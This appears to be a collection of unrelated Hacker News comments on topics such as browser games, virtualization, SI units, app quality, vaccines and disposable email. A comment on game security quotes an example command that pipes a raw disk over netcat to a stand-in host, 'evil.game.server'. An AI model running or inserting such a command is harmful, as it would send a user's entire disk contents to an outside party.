>What more could have been done?

It's a bit tongue in cheek, but maybe avoid the red witch hunts, avoid murdering your own population for being black or revolutionary (or both). And for the French and British, not executing colonial soldiers and their families to avoid paying them (or to avoid respecting your promises of Freedom(tm) )

Maybe it was just a troll, but implementation is clearly not finished yet, and was surely not at the end of the war.
> Many games are 10-100gig+ in size.

For web games it doesn't really matter how big the entire game is, only how much data it consumes per second of game play, the local storage is just another caching layer not meant to hold the entire game but just the data that's most likely needed next. As long as the user's average bandwidth is higher than what the game needs to keep the 'disc cache' filled it's fine.

Of course this means the entire asset-streaming, and probably the whole game needs to be designed around this 'number of bytes per second to be presented to the user' limitation, but that's not a new thing. In the past, games were designed around CD-drive bandwidth and seek times.

As to your other points, I mostly agree, the browser is a too unstable platform, and the people building the web APIs (other than WASM and WebGL/WebGPU) usually don't care much about games.

But there's a huge space below what's called "AAA" which still can make absurd amounts of money (and provide absurd amounts of fun), and for which the tech limitations in browsers are okay-ish. Those games need to be designed from the ground up for running in the browser, porting existing modern games will mostly not work.
Can't you do the exact same thing in DNS right now? If your configured DNS server returns a valid result you wouldn't check other DNS servers for other valid results.

This is a desirable property for many companies that filter employee internet access from their internal network right on the DNS level.
One of the strands is Puppeteers' planet constellation, which is escaping, because this galaxy is imploding. It takes 10,000 years when we know about it, and then it is too late.
The PR teams create perceptions and narratives by misleading with facts on social media, in ways mentioned in this article. But I think people get it after a while and it can't be used for long term perceptions and narratives.
Welcome to a very deep rabbit hole. See e.g. https://news.ycombinator.com/item?id=30093313 and other previous discussions about optimal Wordle solving.
Yes. I meant metric and sloppily said "SI" despite most common metric units only occasionally being SI.

Beaufort is a dimensionless label as far as I'm aware and grit is used as such too (i.e. it never says anything else than "240" i.e. it doesn't "240 grit" or "240 something per inch").
I had a client once who refused to pay for one particular day of working. They paid everything else, but not that particular day, which was odd. (It may have been a day I worked from home and didn't push any commits, so maybe that was the reason.)

I think it was about € 600. I spoke to a lawyer, may have written a letter threatening a lawsuit even, but the lawyer explained that it just wasn't enough to actually start a lawsuit over. Even if you win, lawsuits take a lot of time and energy. I just dropped it. And them, obviously.

A different case from the opposite side:

I'm currently looking at a disagreement with my previous phone provider. They charged me too much over the past year. I called them about it, and they wanted me to prove we agreed on the monthly fees I claimed, and not the ones they claim. But they can't claim we agreed on their fees, so I just stopped paying and switched to a different (better and cheaper) phone provider (which I should have done a long time ago anyway). They're threatening to cut my phone which already isn't with them. They want money from me, but yesterday I wrote them a letter explaining they actually owe me money.

I expect this will go away. They may register me somewhere as a bad-payer, but there's an appeal process that I expect will side with me, because the phone company can't prove a thing.
Cost of new die > market size, probably

NPU was exactly that...

And given scarcity, it's probable that foundries prioritize higher paying processors.

Off topic, but an interesting tidbit is that the grammar checking backend is built in lisp [1] and has been discussed on HN previously [2]:

Personally, i think that VirtualBox is really nice as far as virtualization software goes (the UI in particular having good usability), but admittedly Hyper-V is also good for when you cannot run it.

That said, for a while i actually ran VirtualBox on some of my homelab servers as a really simple hypervisor, since software like RemoteBox kept the familiar and easy to use UI and allowed me to use it as a desktop app: https://remotebox.knobgoblin.org.uk/?page=about

Of course, Docker Desktop also supports WSL2 on Windows instead of Hyper-V, so it's not like you're always forced to use it: https://docs.docker.com/desktop/windows/wsl/

On an unrelated note, Rancher Desktop also seems promising: https://rancherdesktop.io/
You're 100% right. An unbiased perspective would call the arms, pharma, media, agricultural and oil industries out far more.

The bias is so widespread many people don't see it, like fish not realizing they're wet.

Whole shelves of books get written about the illegal wars media cheerleads; and about the unconscionable and unimaginable atrocities regularly committed by big agriculture and fossil fuel.

Yet we drown in pure distraction; "debating" whatever clown shit Ben Shapiro or Trump or Biden just said, or tilting at such windmills as trying to cancel Joe Rogan for having conversations with people.

Not only there isn't any sandboxing, the lack of it is how WINE works - wine's low-level dlls (kernel32.dll for example) just call out to linux libs, or syscall directly.

Expressing quantities in SI units doesn't require 'base units'. SI prefixes are permitted (milli, micro, kilo, mega...), as are certain exclusions (including minutes, hours, ...).
Maybe they're highways, scars from millions of ships taking the same route.
Agree that maintenance mode is often not a capability prioritised. Unless you use a cloud provider's product, like AFD.
I don't really think it was rude. However reading this and your other comments I can see that the way you are communicating (at least in this HN thread) is quite confusing.

Your main comment could be read in a way that you almost hate 1on1's and find them completely unnecessary. But in another comment you said that it's not true - you actually love them.

Now in here you say "lol" and that it was rude, so which is it? are you laughing at this comment or feeling offended?

I don't think it's necessarily rude to point out something that is obvious, without judging. You are the common factor of the 1-on-1's you took part in. They could suck because of the whole organization, or because of the people that talked with you, but it's also possible it's something related to your character or skillset. I think it's worth looking into this and a reasonable feedback, not a "rude" one.
Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.
> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges.

Reminds me of https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.
What does it do when Grammarly disagrees with its self?
I find it hard to believe. Wouldn't it make more sense that the powder was in contact with the external reproductive parts for extended amounts of time (which is its normal usage) and as a result some parts managed to get inside?
NFTs can absolutely do that. They're programmable tokens that can be coded to do anything.

When people purchase songs though the smart contract, part of the value can be automatically sent to the wallet of the person who owns the NFT that corresponds to that song.

The problem is most people, even on here still think NFTs are just some dumb pointer.
We've been here before with other aspects of human behaviour.

If you really don't want people to do it, make it impossible and then they can't. You can't write an integer overflow in WUFFS because that doesn't compile. You can't use your Google.com WebAuthn credentials to sign into fakegoogle.example, even if you really, really want to, even if you're 100% sure this is a good idea, it can't be done. Any time you stop short of this, you mustn't really want people to stop doing it and so they won't.

The next strongest defence, still not used often enough, is to make it very annoying to do things that are a bad idea. Default deny for example, the compiler obliges you to go in and explicitly allow the obviously bad thing you've done each and every single time you do it. A DLR train can be driven in fully manual mode instead of being automated, but it goes annoyingly slowly if you do that.

Linting is far below the visibility of even compiler warnings, most of your target audience will never see the message. It's not even "Do not look into laser with remaining eye" but more like a "Caution: Eye hazard" warning written inside the never-opened instruction manual.
I wake up around 2 hours before I start working. (Wake-up time is usually 4, I start work at 6). During that time I have my can of coffee, browse, maybe play a game (a few turns of Civ V, Slay the Spire, or Monster Train), catch up on the night’s RSS feeds.
I had to disable the go to sleep reminder after I went to bed unusually early and it woke me up to tell me to go to bed haha
That feels like a case of “Never HN Your Symptoms”
There's plenty of such solutions, both selfhosted and otherwise. of course as soon as your domain is listed on disposable email lists, you'll be denylisted from many sites but fortunately enough usually the sites who care about who you are are the least interesting ones, and it's still possible to register in many places using disposable inboxes

EDIT: I should also mention most disposable email domains get added to the denylist after much use/abuse. By multiplying the domains/IPs serving disposable mailboxes, we greatly reduce the chance of being listed at all.
I think you're missing a zero and must mean 0.03 m/s for light. Otherwise, your other distances have the wrong order of magnitude in terms of light-seconds.

You should probably consider self hosting your disposable email service. Sending email from home is tricky (at least to gmail/microsoft) but receiving usually works perfectly.
Office 2000 was not particularly stable, or fast, and if it managed to corrupt a document in some way, it'd always crash trying to open it.
Many reasons really. Some others have alluded in other comments:

* Fixing bugs isn't sexy. Constantly pushing new features is. Tech debt therefore isn't managed properly. I am leaving a job right now because of this.

* Problems with performance arise because developers frequently only test the application on their machine and/or phone and developer typically will have nice hardware that will run the application quickly.

* Mobile applications only get tested in areas where there is a good signal and issues that occur when signal strength and/or bandwidth are poor aren't accounted for.

* Decisions on what get prioritised are based entirely on user metrics collected in app. Which means anyone that blocks this reporting or doesn't fit neatly into the most common scenarios will be left out in the cold or issues de-prioritised and possibly never fixed.

* Tech debt at these companies is insane. Your app probably has a large client and server side solution that probably takes months for someone to be proficient even in making the most basic changes. There will be 500 lines in each switch statement blocks, classes that are 1000s of lines long etc. etc. This is due to tech debt not being managed and people just hacking to get stuff done to sprint deadlines.

* There will be 1000s of long standing bugs that can only be reproduced on particular devices (which may or may not affect you). Frequently devs might not even be able to get their hands on the device to actually fix said issue.

* I would wage in some cases the info-sec team will have ridiculous hang-ups about plugging in a phone via USB to a PC / Mac to debug. Frequently issues will be debugged via archaic or jerry rigged solutions which seem ridiculous to most freelance / non-corp devs.

This has nothing to do with your statement on how fast we are able to deploy a vaccine vs infect population with a virus.

Obviously, vaccine is preferable IF people were getting vaccinated.

Also, it is normal for viruses to infect vaccinated people. The point of most vaccines is not to protect any single person, it is to protect the population. This happens by making it difficult for the virus to find a new host.

When enough people are not vaccinated the virus is perfectly "happy" to mostly spread through unvaccinated population and hit the vaccinated population in the process.

Think about this way: imagine a town densely built with wooden houses.

Any fire would quickly consume entire town.

Now imagine replacing 25% of wooden houses with brick houses.

The fire will still consume entire town and it will still consume most or all of the brick houses.

Does this mean that brick houses spread fire as readily as wooden ones?
If the NYT only adds a link to their home page on the share function it has been worth it for them, millions of impressions per day for almost 0 cost.
This is an excellent decision from the Austrian DPA: there is no good argument for exfiltrating data to a country with low-to-non-existent data-protection standards.

It would be nice if the same logic applied to manufacturing and environmental legislation - it stops the race to the bottom.
I think what you’re referring to is a known issue with how their server handles cloudflares 1.1.1.1 DNS, not them intentionally being shady.
I do support some creators (as directly as possible) but honestly I prefer content where money was never an incentive. Ultimately it's up to creators to find ways of funding their passions and just because ads are the easiest way to do that right now does not mean that we have to support that. I also don't think I'd get bored if all ad-supported content just vanished and even if I did it would be worth it to force creators to find less manipulative funding sources. Or we could do away with all of that and make sure everyone has enough to live no matter what they do - but people would rather pay megacorporations than pay higher taxes that can be redistributed to creators.
It's ~64kb compressed but if you disable your ad blocker it doubles instantly and possibly more since it includes Google Tag Manager.

Quite proud about my variant word.rodeo which is only ~33 kB (108 kB uncompressed) or 0 kB because it also works offline.
It seems like money was thrown at anything with a heartbeat in the last 2 years - I'm not really sure what to make of it (inflation/low interest rates/bubble?)

The one with university student on the cover?

Mind you, I don't know how the other character presented on the cover is depicted later on, but "girl in short skirt" I first thought would be an university graduate age at least. Could be that there's a case of preconceived ideas or "cultural dictionary" involved?
Public cloud trend, growing development and deployment stack complexity that takes consumes large portions of developer productivity away from quality and polish. We are expected to release features in limited timeframes, if so - and we have to battle what the cloud providers have been pushing in form of hundreds of services, multitude of stacks, or in frontend understand dependencies between thousands of packages to understand impact of a particular change, then we eat up time that we could've spent on quality. Unless of course there is a dedicated QA team that is responsible for testing - but that's obviously too expensive, and has its drawbacks itself, as can introduce the wrong mentality (outsourcing caring about quality to another department).
Oh yeah, and buying a video game usually entailed an afternoon of troubleshooting to get it running.
I'm somewhat amused that pointing out that methanol is actually deadly even if this isn't a problem in diet soda has cost me two downvotes : )

Because I think LaTeX is a syntactically outdated language that gets in the way of your thoughts, I would love a markup language that can be used for PDFs (articles, etc) instead of tex, but has 1) a markdown-based, lightweight syntax 2) a CSS-like interface for specifying styles 3) still the possibility to use all the advanced features of tex (eg. bibtex) when they are needed.

This might be a good starting point, provided the result can be rendered into PDF in a sound and consistent way.
I understand that compilation is not an issue, but WDYM by the other stuff? Even python is a bit of a PITA to package and run where interpreters already exist, not all distros are the same - The advantage of a VM or vm-like container is exactly that you don't need to care about that stuff as much.

JS, in virtue of being properly sandboxed, seems to be in a position to prevent coupling outside expected interfaces, and hence reduces the scope for compatibility creep. maybe? ...
Most of the other comments boil down to:

- have something you really want to do after getting up

And I would agree with that sentiment.

For me what worked best are

- running in the morning. I really wanted to do it because I would hate myself if I didn’t follow my fitness regime. Not the best motivation from a psychological health stand point, but it worked.

- do my side projects, reading blog articles, watch coding YouTube and having breakfast at the same time for 1 hour before work every day (instead of late at night). This way I would really look forward to this time and get up early to maximize it. Also helped with going to bed earlier.
They are obviously using us to train the system so that they can do that in a year or two.

Sure, but it seems that it's the same fungus. People are much less likely to get black mold in their brain just because they have black mold at home.

Still, black mold in homes are dangerous, I think they increases odds of cancer?

Maybe it's not the same fungus, I'm not really sure, but if you read the article it seems like it's the common black mold.

The precise name is given in the article but I'm a bit lazy to check on wikipedia.

If you Google “international FaceTime call” you will see a lot of entries including ones on Apple and AT&T.

What I mean in this context is that I called someone in SA from the US via FaceTime and I was billed as if I made an international voice cellular call.

Everything I’ve read says this isn’t supposed to be a thing, and the rep refunded me, but then also said to “manage future expectations” that AT&T will detect international FaceTime calls, and bill you for them (this is in writing in the notes, she did send me a less than perfect text, and I can dig out the bill and put together a notion post about it).
